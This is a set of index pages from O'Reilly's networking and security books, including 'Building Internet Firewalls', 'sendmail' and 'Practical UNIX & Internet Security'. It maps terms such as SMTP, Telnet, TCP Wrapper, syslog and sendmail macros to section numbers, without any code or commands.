default permit stance : 3.5.2. Default Permit Stance: That Which Is Not Expressly Prohibited Is Permitted
direct access to : 7.1.1.1. Proxy services allow users to access Internet services `directly'
disabling those not required : 5.8.2. Disabling Nonrequired Services
filtering by : 6.7. Filtering by Service
information lookup services : 8.8. Information Lookup Services
installing and modifying : 5.8.3. Installing and Modifying Services
LAN-oriented : 5.6. Selecting Services Provided by the Bastion Host
NFS (Network File System) : 5.8.2.4. Which services should you disable?
protecting with TCP Wrapper : 5.8.3.1. Using the TCP Wrapper package to protect services
proxying with : 7.4. Using Proxying with Internet Services
"r" commands : 5.8.2.4. Which services should you disable?
real-time conferencing : 8.9. Real-Time Conferencing Services
RPC (Remote Procedure Call) : 5.8.2.4. Which services should you disable?
selecting for bastion host : 5.6. Selecting Services Provided by the Bastion Host
started by /etc/rc : 5.8.2.1. How are services managed?
Telnet : (see Telnet)
services, network management : (see network, management services)
services, proxy : (see proxy services)
services, store-and-forward : 7.5. Proxying Without a Proxy Server
setgid capability : 5.3.1. What Operating System?
setuid capability : 5.3.1. What Operating System?
shell scripts : 5.8.2.1. How are services managed?
shutting down
13.1.2. Disconnect or Shut Down, as Appropriate
13.4.3. Planning for Disconnecting or Shutting Down Machines
Simple Mail Transfer Protocol : (see SMTP)
Simple Network Management Protocol : (see SNMP)
single-purpose routers : 6.8.2. It Can Be a Single-Purpose Router or a General-Purpose Computer
smap package : 8.1.1.3. Improving SMTP security with smap and smapd
smapd program : 8.1.1.3. Improving SMTP security with smap and smapd
SMTP (Simple Mail Transfer Protocol)
2.1. Electronic Mail
5.6. Selecting Services Provided by the Bastion Host
7.5. Proxying Without a Proxy Server
8.1.1. Simple Mail Transfer Protocol (SMTP)
configuring
firewalls and : 8.1.1.6. Configuring SMTP to work with a firewall
in screened host architecture : 9.2.1.3. SMTP
in screened subnet architecture : 9.1.1.3. SMTP
for UNIX : (see Sendmail)
snapshots, system
13.1.5. Snapshot the System
13.4.5. Planning for Snapshots
sniffing for passwords
1.2.1.3. Information Theft
10.1.2. Packet Sniffing
10.3.1. One-Time Passwords
(see also network, taps)
SNK-004 card, TIS FWTK : 10.3.3. Challenge-Response Schemes
SNMP (Simple Network Management Protocol) : 2.10. Network Management Services
configuring : 8.12.1. Simple Network Management Protocol (SNMP)
snuffle program : 5.8.2.2. How to disable services
sockets : C.12.3. Sockets
SOCKS package
4.1.2. Proxy Services
7.6. Using SOCKS for Proxying
B.4.2. SOCKS
(see also proxy services)
functions : 7.6. Using SOCKS for Proxying
HTTP proxying on
in screened subnet architecture : 9.1.1.5. HTTP
modified finger service : 8.8.1.2. Proxying characteristics of finger
software
to automatically monitor the system : 5.9.2. Consider Writing Software to Automate Monitoring
installing on machine : 5.8.4. Reconfiguring for Production
proxying
4.1.2. Proxy Services
7.1.2.1. Proxy services lag behind nonproxied services
7.2. How Proxying Works
(see also proxy services)
router : (see routers)
viruses and : 1.4.2.4. A firewall can't protect against viruses
source address
filtering by : 6.6.1. Risks of Filtering by Source Address
forgery : 6.6.1. Risks of Filtering by Source Address
source port, filtering by : 6.7.4. Risks of Filtering by Source Port
source routing
5.8.2.5. Turning off routing
6.3.2.1. IP options
speed, processing : 5.3.2. How Fast a Machine?
spell command, UNIX : 5.8.5.3. About checksums for auditing
spies : 1.2.2.4. Spies (Industrial and Otherwise)
startup scripts : 5.8.2.1. How are services managed?
store-and-forward services : 7.5. Proxying Without a Proxy Server
subnet architecture, screened
4.2.3. Screened Subnet Architecture
9.1. Screened Subnet Architecture
subnets : C.9.2. Subnets
Sun RPC : (see RPC)
supporting Internet services : (see services, Internet)
SWATCH program
5.9.2. Consider Writing Software to Automate Monitoring
B.6.4. SWATCH
SYN (synchronize sequence numbers) bit : C.6.2. Transmission Control Protocol
syslog : 5.8.1.4. Safeguard the system logs
configuring : 8.11. syslog
example output from : 12.2.2. What Should You Watch For?
SWATCH program with : 5.9.2. Consider Writing Software to Automate Monitoring
system
autonomous : C.10. Internet Routing Architecture
crashes, watching carefully : 5.10.1. Watch Reboots Carefully
customized : 13.1.6. Restore and Recover
defense, diversity of : 3.7. Diversity of Defense
documenting after incident
13.1.5. Snapshot the System
13.4.5. Planning for Snapshots
failure of : 3.5. Fail-Safe Stance
keeping up-to-date : 12.3.2. Keeping Your Systems Up To Date
labeling and diagramming : 13.5.2. Labeling and Diagraming Your System
logging activity : (see logs)
monitoring
5.9.2. Consider Writing Software to Automate Monitoring
12.2. Monitoring Your System
operating, testing reload of : 13.5.6. Testing the Reload of the Operating System
rebuilding : 13.1.6. Restore and Recover
restoring after incident : 13.1.6. Restore and Recover
planning for : 13.4.6. Planning for Restoration and Recovery
shutting down : 13.1.2. Disconnect or Shut Down, as Appropriate
System Dynamics cards : 10.3.2. Time-based Passwords

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: T

talk conferencing system
2.8. Real-Time Conferencing Services
8.9.1. talk
tapes, needs for : 5.3.3. What Hardware Configuration?
taps : (see network, taps)
TCP (Transmission Control Protocol)
6.3.3.1. TCP
C.6.2. Transmission Control Protocol
packet layer : 6.3.1.3. TCP layer
proxying with : 7.4.1. TCP Versus Other Protocols
UUCP over : (see UUCP)
TCP Wrapper package
5.8.3.1. Using the TCP Wrapper package to protect services
B.6.2. TCP Wrapper
TCP/IP : C. TCP/IP Fundamentals
packet : 6.3.1. TCP/IP/Ethernet Example
protocol architecture : C.3. TCP/IP Protocol Architecture
tcpd program : 5.8.3.1. Using the TCP Wrapper package to protect services
Telebit NetBlazer : 6.5. Conventions for Packet Filtering Rules
Telnet
2.3. Remote Terminal Access and Command Execution
6.7.1. Outbound Telnet Service
Archie across : 8.7.3.3. Providing Archie service to your users
configuring : 8.3. Terminal Access (Telnet)
in screened host architecture : 9.2.1.1. Telnet
in screened subnet architecture : 9.1.1.1. Telnet
inbound : 6.7.2. Inbound Telnet Service
inbound versus outbound : 8.3. Terminal Access (Telnet)
outbound : 6.7.1. Outbound Telnet Service
proxying with TIS FWTK : 7.7.2. Telnet and rlogin Proxying with TIS FWTK
Telstra : A.1.1. Telstra
terminal servers : 10.6. Terminal Servers and Modem Pools
test networks : 4.4.1. Laboratory Networks
testing
firewalls : 6.8.7. It Should Be Able to Log Accepted and Dropped Packets
reload of operating system : 13.5.6. Testing the Reload of the Operating System
routers : 4.4.1. Laboratory Networks
TFTP (Trivial File Transport Protocol)
2.2. File Transfer
8.2.2. Trivial File Transfer Protocol (TFTP)
theft of information : (see information theft)
three-way handshake : C.6.2. Transmission Control Protocol
Tiger auditing package : 5.8.5.1. Auditing packages
Tiger scripts : B.2.2. Tiger
time service : 2.11. Time Service
time-based passwords : 10.3.2. Time-based Passwords
time-stamp, encrypted : 10.2.2. Something You Know
TIS Internet Firewalls Toolkit (TIS FWTK) : B.1.1. TIS Internet Firewall Toolkit (FWTK)
authentication server : 10.4.2. TIS FWTK Authentication Server
FTP daemon : 8.2.1.5. Using the TIS FWTK FTP daemon
FTP proxy server : 8.2.1.2. Proxying characteristics of FTP
ftp-gw-proxy server : 9.1.1.2. FTP
HTTP proxy server : 8.6.2. Proxying Characteristics of HTTP
HTTP proxying on
in screened subnet architecture : 9.1.1.5. HTTP
for proxying : 7.7. Using the TIS Internet Firewall Toolkit for Proxying
S/Key password program : 10.3.1. One-Time Passwords
smap package : 8.1.1.3. Improving SMTP security with smap and smapd
SNK-004 card : 10.3.3. Challenge-Response Schemes
tools and supplies : 13.5.5. Keeping a Cache of Tools and Supplies
traceroute program
2.10. Network Management Services
5.6. Selecting Services Provided by the Bastion Host
configuring : 8.12.4. traceroute
transferring files
2.2. File Transfer
(see files, transferring)
transparency : 4.1.2. Proxy Services
of client changes for proxying : 7.2.1. Using Custom Client Software for Proxying
of packet filtering : 6.1.1.2. Packet filtering doesn't require user knowledge or cooperation
trees, DNS : 8.10.3. DNS Data
trimlog program : B.6.5. trimlog
Tripwire package
5.8.5.1. Auditing packages
B.2.3. Tripwire
Trivial File Transport Protocol : (see TFTP)
tunnels, multicast : 8.9.3. The Multicast Backbone (MBONE)
TXT records : 8.10.4.3. Revealing too much information to attackers

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: U

UDP (User Datagram Protocol)
6.3.3.2. UDP
C.6.1. User Datagram Protocol
Packet Relayer
7.6. Using SOCKS for Proxying
B.4.3. UDP Packet Relayer
unicasting : 8.9.3. The Multicast Backbone (MBONE)
unidirectional connections : 7.4.2. Unidirectional Versus Multidirectional Connections
universal participation : 3.6. Universal Participation
UNIX : 5.3.1. What Operating System?
checksum programs : 5.8.5.3. About checksums for auditing
security holes resource : A.3.4. BugTraq
window system : 2.13. Window Systems
uploading programs on HTTP server : 8.6.3.1. What can a malicious client do to your HTTP server?
URL (Uniform Resource Locator) : 8.6. World Wide Web (WWW) and HTTP
usage profile : 5.9.1. Learn What the Normal Usage Profile Is
Usenet news : (see NNTP)
USENET newsgroups : (see newsgroups)
USENIX Association
A.5.4. USENIX Association
A.6.1. USENIX Association Conferences
user accounts on bastion host : 5.7. Don't Allow User Accounts on the Bastion Host
User Diagram Protocol : (see UDP)
UUCP (UNIX-to-UNIX Copy Protocol) : 2.2. File Transfer
configuring : 8.2.4. UNIX-to-UNIX Copy Protocol (UUCP)

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: V

validating firewalls : 6.8.7. It Should Be Able to Log Accepted and Dropped Packets
vandals : 1.2.2.2. Vandals
victim hosts : 5.6. Selecting Services Provided by the Bastion Host
victim machines : 5.2.2. Victim Machines
viruses : 1.4.2.4. A firewall can't protect against viruses
voice authentication : 10.2.1. Something You Are

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: W

WAIS (Wide Area Information Servers) : 2.6. Other Information Services
configuring : 8.7.2. Wide Area Information Servers (WAIS)
weakest link
3.4. Weakest Link
9.1.4.4. Weakest link
9.2.3.4. Weakest link
well-known ports : C.12.3. Sockets
whois service
2.7. Information About People
8.8.2. whois
Wide Area Information Servers : (see WAIS)
window systems : 2.13. Window Systems
X11 : (see X11 window system)
writable directories in anonymous FTP : 8.2.1.6. Be careful of writable directories in the anonymous FTP area
wuarchive daemon : B.5.1. wuarchive ftpd
wuarchive server : 8.2.1.4. Using the wuarchive FTP daemon
WWW (World Wide Web) : 2.5. The World Wide Web
Archie access via : 8.7.3.3. Providing Archie service to your users
browsers : 2.5. The World Wide Web
as FTP clients : 8.2.1.1. Packet filtering characteristics of FTP
as Gopher clients : (see Gopher)
configuring : 8.6. World Wide Web (WWW) and HTTP
MIME in : 8.1.3. Multipurpose Internet Mail Extensions (MIME)
resources for
A.1. WWW Pages
A.3.7. WWW-Security

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: X

x-gw proxy : 7.7.4. Other TIS FWTK Proxies
X11 window system : 2.13. Window Systems
configuring : 8.16. X11 Window System
xhost mechanism : 8.16. X11 Window System

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: Y

Yellow Pages (YP)
2.9. Name Service
(see also NIS/YP)

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: Z

zone transfers, DNS : 8.10.1. Packet Filtering Characteristics of DNS

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

0 flag : sendmail, 30.8. Alphabetized F= Flags
10BaseT networks
Practical UNIX & Internet Security, 12.3.1.2. Eavesdropping by Ethernet and 10Base-T
Practical UNIX & Internet Security, 16.1. Networking
-144bsd option : sendmail, 18.5.2. Remove -l44bsd
3 flag : sendmail, 30.8. Alphabetized F= Flags
5 flag : sendmail, 30.8. Alphabetized F= Flags
6-bit serial lines, running over : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
7 flag : sendmail, 30.8. Alphabetized F= Flags
7 (SevenBitInput) option : sendmail, 34.8. Alphabetized Reference
7-bit encoding
sendmail, 18.8. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
7bit encoding type : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
8 flag : sendmail, 30.8. Alphabetized F= Flags
8 (EightBitMode) option
sendmail, 30.8. Alphabetized F= Flags
sendmail, 34.8. Alphabetized Reference
8-bit encoding
sendmail, 18.8. Alphabetized Reference
sendmail, 30.8. Alphabetized F= Flags
sendmail, 34.8. Alphabetized Reference
8bit encoding type : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
8mm video tape : Practical UNIX & Internet Security, 7.1.4. Guarding Against Media Failure
9 flag : sendmail, 30.8. Alphabetized F= Flags
< > (angle brackets)
sendmail, 10.1. Why Preprocess?
sendmail, 17.1.1.1. At least one <> pair
> option : sendmail, D.5. The > Option
>>> as leading characters : sendmail, 4.2. Verbose (-v)
nested
sendmail, 10.4. Nested Angle Brackets
sendmail, 17.1.1.2. Strip to left of <
null address : (see addresses, null)
'' (apostrophes) (expect nothing) : TCP/IP Network Administration, 6.3.3. chat
* (asterisk)
in mail queue listing
sendmail, 4.1.2. Show Queue Mode (-bp)
sendmail, 23.4. Printing the Queue
meaning interface not enabled : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
in name field, indicating wildcard character : TCP/IP Network Administration, C.3.1. Standard Resource Records
@ (at sign)
in addresses
sendmail, 17.1.1.3. Handle null address
sendmail, 29.4.5. Focusing for @ Syntax
chacl command with : Practical UNIX & Internet Security, 5.2.5.2. HP-UX access control lists
for current origin : TCP/IP Network Administration, C.3.1. Standard Resource Records
excluding an individual parameter : TCP/IP Network Administration, 9.4. A BOOTP Server
referencing current domain : TCP/IP Network Administration, 8.3.5. The Reverse Domain File
in xhost list : Practical UNIX & Internet Security, 17.3.21.3. The xhost facility
@ flag : sendmail, 30.8. Alphabetized F= Flags
\ (backslash)
escaping newline characters
TCP/IP Network Administration, 9.2.1. The printcap File
TCP/IP Network Administration, A.3. chat
TCP/IP Network Administration, C.3.1. Standard Resource Records
in header fields : sendmail, 35.3.2. Escape Character in the Header Field
mail command and : Practical UNIX & Internet Security, 15.1.3. mail Command
in rules : sendmail, 28.1.2.1. Backslashes in rules
in UUCP addresses
sendmail, 17.1.4. UUCP Addresses
sendmail, 19.6. Alphabetized m4 Macros
! (bang) and mail command : Practical UNIX & Internet Security, 15.1.3. mail Command
: (colon)
in addresses
sendmail, 17.1.2.1. A rule to handle List:;
sendmail, 34.8. Alphabetized Reference
beginning and ending fields
TCP/IP Network Administration, 9.2.1. The printcap File
TCP/IP Network Administration, 9.2.2. Solaris Line Printer Service
separating parameters : TCP/IP Network Administration, 9.4. A BOOTP Server
: flag : sendmail, 30.8. Alphabetized F= Flags
{} (curly braces)
sendmail, 5.3.2. Macros
sendmail, 5.3.5. Class Macros
sendmail, 7.1. Overview
configuration statements
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, B.2. The gated Configuration Language
TCP/IP Network Administration, D.3. The dhcpd.conf Configuration File
long variable names : TCP/IP Network Administration, 10.5. sendmail Configuration
macro names : TCP/IP Network Administration, 10.5.2. The Define Macro Command
$ (dollar sign)
$ line (qf file) : sendmail, 23.9. The qf File Internals
$ rule-testing command : sendmail, 38.3.1. Dump a Defined Macro with $
in macro names : sendmail, 31.5. Macro Expansion: $ and $&
wildcard operators
sendmail, 8.7. Wildcard Operators
(see also wildcard operators)
$1, $2, ... : (see positional operators)
$&
sendmail, 28.6.4. Rewrite Through Another Rule Set: $>set
sendmail, 31.5.3. Use Value as Is with $&
$> : sendmail, 28.6.4. Rewrite Through Another Rule Set: $>set
$* : sendmail, 10.2.1. The LHS
$@
sendmail, 9.2.2. The Host ($@)
sendmail, 9.3. Testing Rule Set 0
sendmail, 11.4.1. Rewrite the Lone Username
sendmail, 17.1.1.3. Handle null address
sendmail, 28.6.3. Rewrite-and-Return Prefix: $@
sendmail, 30.5.2.1. The $@ dsn part
sendmail, 33.4.2. Specify Numbered Substitution with $@
$[ and $]
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 21.2.4. The $[ and $] Operators
sendmail, 28.6.6. Canonicalize Hostname: $[ and $]
sendmail, 33.4.3. $[ and $]: A Special Case
$:
sendmail, 9.2.3. The User ($:)
sendmail, 9.3. Testing Rule Set 0
sendmail, 28.6.2. Rewrite Once Prefix: $:
sendmail, 29.6.1. Further Processing: $:user
sendmail, 30.5.3. The $: Part
sendmail, 33.4.1. Specify a Default with $:
sendmail, 33.4. Use Maps with $( and $) in Rules
$.
sendmail, 14.1.3. Testing So Far
sendmail, 31.6. Macro Conditionals: $?, $|, and $.
$=
sendmail, 12.1. The Class Command
sendmail, 32.2.1. Matching Any in a Class: $=
sendmail, 38.3.2. Dump a Class Macro with $=
$#
sendmail, 9.2.1. The Delivery Agent ($#)
sendmail, 28.6.5. Specify a Delivery Agent: $#
$- : sendmail, 11.4.1. Rewrite the Lone Username
$( and $) : sendmail, 33.4. Use Maps with $( and $) in Rules
$+ : sendmail, 8.7. Wildcard Operators
$?
sendmail, 14.1.3. Testing So Far
sendmail, 31.6. Macro Conditionals: $?, $|, and $.
$~ : sendmail, 32.2.2. Matching Any Not in a Class: $~
$| : sendmail, 31.6. Macro Conditionals: $?, $|, and $.
$_ macro
sendmail, 20.2.4. Verify identd Information
sendmail, 23.9. The qf File Internals
sendmail, 26.1.3.9. relay= the host that sent or accepted the message
sendmail, 31.10. Alphabetized Reference
. (dot)
. line (qf file) : sendmail, 23.9. The qf File Internals
checking for in ${pd} : sendmail, D.1. Sun Enhancements
for current directory : Practical UNIX & Internet Security, 5.1.1. Directories
to end messages
sendmail, 4.2. Verbose (-v)
sendmail, 30.8. Alphabetized F= Flags
filenames starting with, disabling creation of : Building Internet Firewalls, 8.2.1.6. Be careful of writable
host status file line : sendmail, B.1. Status file lines
leading in messages : sendmail, 34.8. Alphabetized Reference
trailing in FQDNs
sendmail, 15.3. MX Records
sendmail, 17.4. Rule Set 4
sendmail, 29.5.1. Stripping Trailing Dots
.. directory : Practical UNIX & Internet Security, 5.1.1. Directories
.. for domain name : TCP/IP Network Administration, C.3.1. Standard Resource Records
! (exclamation point) and mail command : Practical UNIX & Internet Security, 15.1.3. mail Command
# (hash mark; sharp sign) : Practical UNIX & Internet Security, 6.5.1. Message Digests
for comments
sendmail, 5.1. Overview
sendmail, 5.2.2. Comments
sendmail, 27.2. Comments
sendmail, 38.2. Configuration Lines
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, 9.1.4. NFS Automounter
TCP/IP Network Administration, 9.2.1. The printcap File
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, A.1.1. The dip Script File
TCP/IP Network Administration, D.3. The dhcpd.conf Configuration File
disabling services with : Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
in :include: lists : sendmail, 25.2.1. Comments in :include: Lists
lines in sendmail.cf : sendmail, 3.1. Role in the Filesystem
in m4 files : sendmail, 19.5. Pitfalls
- (hyphen)
in machine conversation : sendmail, 4.2. Verbose (-v)
non-equivalent host : TCP/IP Network Administration, 12.2.5. Secure the r Commands
-> (arrow), for copying files : TCP/IP Network Administration, 9.6.1. rdist
() (parentheses), for continuation characters : TCP/IP Network Administration, C.3.1. Standard Resource Records
% in addresses
sendmail, 17.1.5. The % Hack
sendmail, 21.5.1. Offsite MX Hosts
+ (plus sign)
in configuration file : sendmail, 1.3.1. The Configuration File
indicating a trusted host : TCP/IP Network Administration, 12.2.5. Secure the r Commands
in hosts.equiv file : Practical UNIX & Internet Security, 17.3.18.5. Searching for .rhosts files
marking users with : sendmail, 24.4.3. Plussed Users
in NIS
Practical UNIX & Internet Security, 19.4. Sun's Network Information Service (NIS)
Practical UNIX & Internet Security, 19.4.4.6. NIS is confused about "+"
? for delivery agent flags
sendmail, 14.2. Headers Versus Delivery Agent Flags
sendmail, 35.4. ?flags? in Header Definitions
" (quotation marks)
sendmail, 13.2.8. The Unquoted Space Replacement Character
sendmail, 19.1.1. m4 is greedy
sendmail, 31.3.2. Syntax of the Configuration File Macro's Text
dequote database class : sendmail, 33.8. Alphabetized Reference
in header fields : sendmail, 35.3.3. Quoted Strings in the Header Field
stripping from addresses
sendmail, 30.8. Alphabetized F= Flags
sendmail, 33.3.4.9. -q don't strip quotes from key (V8.7 and above)
"" (expect nothing)
TCP/IP Network Administration, 6.3.3. chat
TCP/IP Network Administration, A.3. chat
; (semicolon)
comment character : TCP/IP Network Administration, C.3.1. Standard Resource Records
ending gated configuration statements
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, B.2. The gated Configuration Language
# (sharp sign; hash mark) : Practical UNIX & Internet Security, 6.5.1. Message Digests
for comments
sendmail, 5.1. Overview
sendmail, 5.2.2. Comments
sendmail, 27.2. Comments
sendmail, 38.2. Configuration Lines
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, 9.1.4. NFS Automounter
TCP/IP Network Administration, 9.2.1. The printcap File
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, A.1.1. The dip Script File
TCP/IP Network Administration, D.3. The dhcpd.conf Configuration File
disabling services with : Practical UNIX & Internet Security, 17.3. Primary UNIX Network Services
in :include: lists : sendmail, 25.2.1. Comments in :include: Lists
lines in sendmail.cf : sendmail, 3.1. Role in the Filesystem
in m4 files : sendmail, 19.5. Pitfalls
/ (slash)
/ flag : sendmail, 30.8. Alphabetized F= Flags
character in alias
sendmail, 24.2.2. Delivery to Files
sendmail, 25.7.3. Appending to Files
IFS separator : Practical UNIX & Internet Security, 11.5.1.2. IFS attacks
root directory
Practical UNIX & Internet Security, 5.1.1. Directories
(see also root directory)
~ (tilde)
in automatic backups : Practical UNIX & Internet Security, 18.2.3.5. Beware stray CGI scripts
for home directory
Practical UNIX & Internet Security, 11.5.1.3. $HOME attacks
sendmail, 25.7. The User's ~/.forward File
~! in mail messages : Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
| (vertical bar)
! flag : sendmail, 30.8. Alphabetized F= Flags
| prefix
sendmail, 22.4.3. The F Command - Program Form
sendmail, 24.2.3. Delivery via Programs
in addresses : (see programs, delivering to)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

a flag : sendmail, 30.8. Alphabetized F= Flags
A flag : sendmail, 30.8. Alphabetized F= Flags
$a macro
sendmail, 14.2.2. The Date: Header
sendmail, 31.10. Alphabetized Reference
a option : (see AliasWait (a) option)
A option : (see AliasFile (A) option)
A records
sendmail, 15.3. MX Records
sendmail, 21.3.1. MX Must Point to an A Record
sendmail, 34.8. Alphabetized Reference
-a switch (sendmail) : sendmail, 33.3.4.2. -a append tag on successful match (V8.1 and above)
-A switch (sendmail) : sendmail, 33.3.4.1. -A append values for duplicate keys (V8.7 and above)
A= equate
sendmail, 6.2. Define a Mail Delivery Agent
sendmail, 6.3. The local Delivery Agent
sendmail, 30.4. The Equates
ABORT keyword : TCP/IP Network Administration, A.3. chat
absolute pathnames : Practical UNIX & Internet Security, 5.1.3. Current Directory and Paths
Abstract Syntax Notation One (ASN.1) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
Academic-Firewalls mailing list : Building Internet Firewalls, A.3.3. Academic-Firewalls
accept() : sendmail, 21.2.2. Look Up a Remote Host's Name
access and access control
Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
TCP/IP Network Administration, 12.5. Access Control
ACLs
Practical UNIX & Internet Security, 5.2.5. Access Control Lists
Practical UNIX & Internet Security, 5.2.5.1. AIX Access Control Lists
Practical UNIX & Internet Security, 5.2.5.2. HP-UX access control lists
Practical UNIX & Internet Security, 17.3.13. Network News Transport Protocol (NNTP) (TCP Port
anonymous FTP : Practical UNIX & Internet Security, 17.3.2.1. Using anonymous FTP
employee access, monitoring : Practical UNIX & Internet Security, 13.2.4. Auditing Access
/etc/exports file : Practical UNIX & Internet Security, 20.2.1.1. /etc/exports
fail safety and : Building Internet Firewalls, 3.5. Fail-Safe Stance
Internet servers : Practical UNIX & Internet Security, 17.2. Controlling Access to Servers
least privilege : Building Internet Firewalls, 3.1. Least Privilege
levels of
Practical UNIX & Internet Security, 19.5.4. Using NIS+
TCP/IP Network Administration, 9.1.2.1. The share command
logging : (see logs/logging)
monitoring at choke point : Building Internet Firewalls, 3.3. Choke Point
to networks : Building Internet Firewalls, 1.3.4. Network Security
non-citizens : Practical UNIX & Internet Security, 26.4.1. Munitions Export
physical : Practical UNIX & Internet Security, 12.2.3. Physical Access
restricted filesystems
Practical UNIX & Internet Security, 8.1.5. Restricted Filesystem
Practical UNIX & Internet Security, 8.1.5.2. Checking new software
restricting data availability : Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
services to place under, listed : TCP/IP Network Administration, 12.5.1. wrapper
software for : TCP/IP Network Administration, 12.5. Access Control
tradition of open : Practical UNIX & Internet Security, 1.4.1. Expectations
to unbuilt bastion host : Building Internet Firewalls, 5.8. Building a Bastion Host
USERFILE (UUCP)
Practical UNIX & Internet Security, 15.4.1. USERFILE: Providing Remote File Access
Practical UNIX & Internet Security, 15.4.2.1. Some bad examples
Web server files
Practical UNIX & Internet Security, 18.2.2.2. Additional configuration issues
Practical UNIX & Internet Security, 18.3. Controlling Access to Files on Your Server
Practical UNIX & Internet Security, 18.3.3. Setting Up Web Users and Passwords
X Window System
Practical UNIX & Internet Security, 17.3.21.2. X security
Practical UNIX & Internet Security, 17.3.21.3. The xhost facility
access() : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
access control lists (ACLs)
Practical UNIX & Internet Security, 5.2.5. Access Control Lists
Practical UNIX & Internet Security, 5.2.5.2. HP-UX access control lists
errors in : Practical UNIX & Internet Security, 5.2.5.1. AIX Access Control Lists
NNTP with : Practical UNIX & Internet Security, 17.3.13. Network News Transport Protocol (NNTP) (TCP Port
access router : (see exterior routers)
access.conf file : Practical UNIX & Internet Security, 18.3.1. The access.conf and .htaccess Files
access_log file
Practical UNIX & Internet Security, 10.3.5. access_log Log File
Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
with refer_log file : Practical UNIX & Internet Security, 18.4.2. Eavesdropping Through Log Files
accidents
Building Internet Firewalls, 1.2.3. Stupidity and Accidents
Practical UNIX & Internet Security, 12.2.2. Preventing Accidents
(see also natural disasters)
accounting process
Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
Practical UNIX & Internet Security, 10.2.3. messages Log File
(see also auditing)
accounts : Practical UNIX & Internet Security, 3.1. Usernames
aliases for : Practical UNIX & Internet Security, 8.8.9. Account Names Revisited: Using Aliases for Increased
changing login shell
Practical UNIX & Internet Security, 8.4.2. Changing the Account's Login
Practical UNIX & Internet Security, 8.7.1. Integrating One-time Passwords with UNIX
created by intruders : Practical UNIX & Internet Security, 24.4.1. New Accounts
default : Practical UNIX & Internet Security, 8.1.2. Default Accounts
defense checklist : Practical UNIX & Internet Security, A.1.1.7. Chapter 8: Defending Your Accounts
dormant
Practical UNIX & Internet Security, 8.4. Managing Dormant Accounts
Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
expiring old : Practical UNIX & Internet Security, 8.4.3. Finding Dormant Accounts
group : Practical UNIX & Internet Security, 8.1.6. Group Accounts
importing to NIS server
Practical UNIX & Internet Security, 19.4.1. Including or excluding specific accounts:
Practical UNIX & Internet Security, 19.4.4.2. Using netgroups to limit the importing of accounts
Joes
Practical UNIX & Internet Security, 3.6.2. Smoking Joes
Practical UNIX & Internet Security, 8.8.3.1. Joetest: a simple password cracker
